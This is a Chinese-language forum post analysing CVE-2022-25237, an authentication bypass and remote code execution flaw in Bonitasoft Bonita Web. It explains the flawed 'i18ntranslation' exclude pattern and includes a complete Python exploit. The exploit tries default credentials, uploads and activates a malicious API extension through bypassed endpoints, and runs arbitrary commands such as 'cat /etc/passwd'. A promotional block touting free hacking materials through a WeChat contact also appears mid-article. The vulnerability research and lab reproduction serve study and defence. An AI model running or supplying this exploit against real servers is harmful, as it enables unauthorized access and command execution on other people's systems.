Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)

打印 上一主题 下一主题

主题 853|帖子 853|积分 2559

一、漏洞原理

漏洞简述

Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序;
Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。
Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。
通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。
漏洞影响范围

供应商:Bonitasoft
产品:Bonita Platform
确认受影响版本:< 2022.1-u0
修复版本:/
社区版:< 2022.1-u0 (7.14.0)
订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7
漏洞分析

本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。
按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。
[img=720,558.819188191882]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538196.png[/img]
同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。
分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。
路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。
通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。
(checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述)

下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。
开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。
循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。

在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。
根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。

getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。

[img=720,194.4981412639405]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538202.png[/img]
根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。
从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。
二、漏洞复现实战

环境搭建


  • docker镜像:
bonita - Official Image | Docker Hub

  • vulfocus:
bonita镜像
漏洞复现

首先以超级管理员身份进入bonita,创建用户功能
[img=600,266.6016666666667]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538203.png[/img]
[img=650,294.463]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538204.png[/img]
创建普通用户
[img=550,457.3228346456693]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538205.png[/img]
之后根据POC进行复现
POC:
  1. import requests
  2. import sys
  3. class exploit:
  4.     try:
  5.         session = requests.session()
  6.         bonita_user = sys.argv[1]
  7.         bonita_password = sys.argv[2]
  8.         target_path = sys.argv[3]
  9.         cmd = sys.argv[4]
  10.         tempPath = ""
  11.         extension_id = ""
  12.         bonita_default_user = "install"
  13.         bonita_default_password = "install"
  14.         platform_default_user = "platformAdmin"
  15.         platform_default_password = "platform"
  16.     except:
  17.         print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")
  18.         exit()
  19. def try_default_logins():
  20.     req_url = f"{exploit.target_path}/loginservice"
  21.     req_cookies = {"x": "x"}
  22.     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
  23.     req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}
  24.     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
  25.     if r.status_code == 401:
  26.         return False
  27.         # This does not seem to work when authenticating as platformAdmin, maybe it can though.
  28.     #     req_url = f"{exploit.target_path}/platformloginservice"
  29.     #     req_cookies = {"x": "x"}
  30.     #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
  31.     #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}
  32.     #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
  33.     #     if r.status_code == 200:
  34.     #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")
  35.     #         return True
  36.     else:
  37.         print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")
  38.         return True
  39. def login():
  40.     req_url = f"{exploit.target_path}/loginservice"
  41.     req_cookies = {"x": "x"}
  42.     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
  43.     req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}
  44.     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
  45.     if r.status_code == 401:
  46.         print("[!] Could not get a valid session using those credentials.")
  47.         exit()
  48.     else:
  49.         print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}")
  50. def upload_api_extension():
  51.     req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"
  52.     files=[
  53.     ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))
  54.     ]
  55.     r = exploit.session.post(req_url, files=files)
  56.     exploit.tempPath = r.json()["tempPath"]
  57. def activate_api_extension():
  58.     req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"
  59.     req_headers = {"Content-Type": "application/json;charset=UTF-8"}
  60.     req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}
  61.     r = exploit.session.post(req_url, headers=req_headers, json=req_json)
  62.     exploit.extension_id = r.json()["id"]
  63. def delete_api_extension():
  64.     req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"
  65.     exploit.session.delete(req_url)
  66. def run_cmd():
  67.     req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"
  68.     r = exploit.session.get(req_url)
  69.     print(r.json()["out"])
  70. if not try_default_logins():
  71.     print("[!] Did not find default creds, trying supplied credentials.")
  72.     login()
  73. upload_api_extension()
  74. activate_api_extension()
  75. try:
  76.     run_cmd()
  77. except:
  78.     delete_api_extension()
  79. delete_api_extension()
复制代码
 
执行POC
[img=720,160.59259259259258]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202301101538206.png[/img]
漏洞修复

建议更新至2022.1-u0以上版本
结束语

本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。
根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
更多靶场实验练习、网安学习资料,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

渣渣兔

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表